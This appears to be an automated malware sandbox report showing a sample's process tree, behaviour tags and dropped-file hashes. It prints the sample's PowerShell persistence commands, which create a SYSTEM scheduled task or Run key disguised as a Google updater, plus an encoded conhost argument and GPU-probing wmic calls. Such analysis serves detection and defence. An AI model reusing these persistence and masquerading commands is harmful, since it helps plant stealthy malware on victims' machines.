C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:640
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4264
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:1044
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1940
-
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1720
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4512
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.4MB
MD50b179a22a24f884bde130ecb2aba6c23
SHA12ed2d8a64300e1d8599525b67ea5a4ea106f4ec2
SHA256723e592ff3cecbc4d445757bf2283e1da3807f38f4581d5ea00529770a6f68fc
SHA51285923d0ad375f676a500b85a0df7433927edd4cb3cd0eba268f8b9fdaec70416852ab9efdd264dff098a935dd1c44668d1aafdbc7dd467e4d60c8b0c2a7a8be8
-
Filesize
642KB
MD505e816b94e638a104b5636039ee00bcc
SHA1c122ea2047bea2182c354b2d2ab9a2d1c1ec4427
SHA25634c0ffd1273e452f384067c44184fc99e4394e6fa530206eba15524f51a05f4b
SHA512c8bafc7f1481190163b31b29483625aae286b6752fcadeebe021e8e0091f169ee50c426d5703f7297fd3ded4177ba6870ca8cbac55d28d14675879d3d1481ee7
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
Filesize
1KB
MD57ad70e6bc0a801204ef4b230da255311
SHA12021eef70b3006d2b4a77788145f0116406cab02
SHA256ed1321077247b628d8a2a9cac0130f489a9ae162ad0907c260814697b80e6e39
SHA512e8336b8913e2707145c03057df1c94a491317e23542f3416fe58c0834f1a41c2d8a8bc49627846f4ea3784068e40e338ddc254f6b2f4062853537c7136674c3f
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5a50c29de640e5957ed3802b419ae72c7
SHA1c891a511854fa10544aaf44da98dc97780d54aa3
SHA256df11e0cdaf259ac83da3b3f21fe0fde6f12d39b89f1d6ba9ba085b689b936f87
SHA512b6ea40e1850843aa3ba7194ec0b683c6b15478c39266e6e445ee1be8f2c4d4ffc74274110fe5ca41859e9f8b746ade84577b705c9655e9f9b2d7a4bdd91e9153
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD52722730a0cf82161fb1452b600334796
SHA14479415f50cd9ab55c4f7bcdc1a0a5177492f053
SHA256a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833
SHA51254ec97b79003db56fb1ca44b33a1c2a9748014a3c1dc84fdb2afca84d3c6618ad88ccb353d52078789e3e0ed0ee6c763a74bf34cea1334e427a264db9171dfb0